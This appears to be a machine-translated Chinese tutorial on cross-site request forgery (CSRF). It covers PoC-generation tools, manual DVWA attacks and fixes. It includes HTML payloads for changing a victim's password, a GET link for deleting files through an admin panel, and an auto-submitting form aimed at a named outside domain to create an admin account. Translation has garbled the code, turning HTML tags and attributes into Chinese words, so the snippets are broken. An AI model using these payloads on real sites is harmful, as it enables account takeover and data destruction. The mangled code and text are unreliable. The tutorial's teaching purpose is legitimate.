WEB安全入门系列之CSRF漏洞详解

一、CSRF介绍CSRF(Cross-site request forgery)全称“跨站请求伪造”,也被称为“One Click Attack”或者“Session Riding”,通常缩写为CSR…

首先,CSRF介绍 CSRF(跨站点请求伪造)全名“跨站点请求伪造”,也称为“一键攻击”或“会话骑行”,通常缩写为CSRF或XSRF,是对网站的恶意使用。虽然听起来像跨站点脚本(XSS),但它与XSS非常不同,并且攻击方法几乎相同。 XSS利用站点内的可信用户,而CSRF通过伪装来自可信用户的请求来利用可信站点。与XSS攻击相比,CSRF攻击通常不太受欢迎(因此资源不那么稀缺)且难以预防,因此被认为比XSS更危险。 您可以通过以下方式了解CSRF攻击:攻击者窃取了您的身份并代表您执行了一些非法操作。 CSRF可以使用您的帐户发送电子邮件,获取您的敏感信息,甚至窃取您的帐户。 二:CSRF原则 受害者 - 用户对当前登录的Web应用程序执行意外操作。 攻击者 - 欺骗浏览器并让它代表受害者执行您想要的操作 例如: 当用户打开或登录网站时,浏览器和存储网站的服务器将生成会话。当会话未结束时,用户可以使用用户的权限在网站上执行某些操作,例如修改数据和交易。支付,删除文件等。当用户在会话结束后完成某些操作时,WEB应用程序将提示“当前会话已过期”和“请再次登录”。 攻击者构造修改用户密码的请求。通过欺骗已登录到WEB应用程序的受害者,受害者以他或她自己的身份执行意外操作,并且修改后的密码由攻击者控制。这导致受害者的密码被恶意修改。 CSRF攻击在浏览器和WEB服务器之间的会话中建立,并且通过欺骗用户访问URL来攻击目标。 三,漏洞挖掘 1、自动化扫描工具 Netspark 的AWV AppScan的 通常,上述工具可用于扫描网站以查找CSRF漏洞。但是向工具添加登录参数可以大大提高挖掘的成功率。 2、半自动检测工具 CSRFTester 下载地址:https://www.owasp.org/index.php/File: CSRFTester-1.0.zip 1.安装CSRFTester

打开run.bat打开工具,但需要java环境

出现消息框时,表明该工具已开始侦听本地端口8008.此时,您需要配置浏览器代理。 2. 设置浏览器代理(以sogou浏览器为例) 单击工具栏 - 代理设置 - 添加新代理,添加并启用代理。

3.用户登录 单击“开始录制”以开始检测CSRFTester,以便将来记录我们访问的所有URL和参数。 4.通过CSRFTester抓取并伪造请求 当您登录网站帐户时,CSRF Tester将抓取

我们抓住了请求,在Step属性中添加了请求,然后在Form Parameter中修改了表单中的参数,如用户,然后单击Generate HTML按钮(您可以选择其他格式:Forms,IFrame等)来生成CSRF攻击脚本。

随机生成攻击脚本并将其上载到服务器以传输给受害者。 CSRF PoC发电机 打开bulpsuite,右键单击任何HTTP请求,选择Engagement tools,然后单击Generate CSRF POC以生成CSRF POC。

该工具也是基于请求参数生成的POC。您可以单击浏览器中的测试按钮进行测试。单击它后,您将使用此POC进行攻击。 以上两个工具可以拦截所有请求。渗透测试人员可以修改密码并删除登录状态下的文件。该工具将拦截已发送的请求,然后该工具生成的POC可以验证是否存在漏洞。 四,手动测试实例 1、利用csrf修改用户密码 2、利用csrf删除文件 3、突破CSRF验证 4.1、任意修改用户密码 转到“更改密码”页面,输入修改后的密码,重复输入的密码,然后单击“提交”以获取get方法的请求数据包,如下所示: http://127.0.0.1: 2003/dvwa1.9/vulnerabilities/csrf /?password_new=123456& password_conf=123456& Change=Change 然后我们的密码更改为123456.如果我们将链接发送给已登录到平台的用户,浏览器将自动使用他的cookie执行参数来更改密码。 伪造一个html文件,将其上传到ftp服务器,并伪造到受害者的链接以执行此参数。 html代码如下: < HTML>   < head>       < title> csrf test</title>   </head>  < body>    < form  action='http://127.0.0.1: 2003/dvwa1.9/vulnerabilities/csrf /'>      <输入 类型='隐藏' 名称='密码_新' 值='12345678'  />      <输入 类型='隐藏'  name='password_conf'  value='12345678'  />      <输入 类型='隐藏' 名称='更改' 值'更改'  />      <输入 类型='提交' 值'母图下载'  />    </form>  </body> </HTML> 另一个HTML表单,上传FTP空间,将URL发送给用户打开 < img src='http://127.0.0.1: 2003/dvwa1.9/vulnerabilities/csrf /?password_new=123456& password_conf=123456& Change=Change'frameborder='0'width='0px'/>  4.2、删除任意文件 在网站后台功能中,有一个删除文件的请求,请求包(POST模式)被构造成GET模式。当管理员打开连接时,该文件将被删除,并且该链接可以隐藏在服务器上,并且管理员很想打开。 如果是GET模式,则可以将直接复制请求链接发送给受害者。如果POST方法可以更改为GET模式,则方法如下: 1.选择已删除的文件并在删除时捕获它。 2. POST后复制参数,例如delete=/web& id=index.php 3.使用&amp ;将其参数连接到URL。符号,例如http://www.xxxx.xxxx/admin.php?xxxxx& delete=/web& id=index.php 4.根据GET方法将受害者发送给受害者。 4.3、突破CSRF验证 当网站只允许POST请求模式时,我们构造的GET方法攻击将无效。这是我们可以构造一个HTML页面并将POST请求的参数提交给表单以供提交。代码是: < HTML>   < head>       ��lt; title> csrf test</title>   </head>  < body>  < iframe  frameborder='0'  name='myifare'  width='0px'  height='0px'</iframe>    < form  id='myfrom'  method='post'  action='http://www.hcdegz.com/chuangjiang'>      < input  type='hidden'  name='username'  value='admin'  />      <输入 类型='隐藏' 名称='密码' 值='12345678'  />      <输入 类型='隐藏' 名称='更改' 值'更改'  />    </form> <脚本>   var  myfrom =document.getElementById('myfrom')   myfrom.submit(); < /脚本>  </body> </HTML> 当管理员访问上载到服务器的页面时,将自动创建管理员帐户。 注意:某些网站使用某些安全策略。每当发送请求时,它将匹配请求包中的前一页的源是否是网站本身,即引用标头。此时,我们在将HTML页面发送给受害者时使其无效。现在,我们可以创建一个与站点上的页面同名的目录,并且有机会绕过这种防御机制。 五,修复方法 1.当用户发送重要请求时,需要输入原始密码。 2,设置随机令牌 3.检查引用来源。请求时,判断请求链接是否是当前管理员正在使用的页面。 (管理员正在编辑文章,黑客发送恶意密码更改链接。由于密码更改页面管理员未运行,攻击失败。) 4,设置验证码 5,限制请求方法只能是POST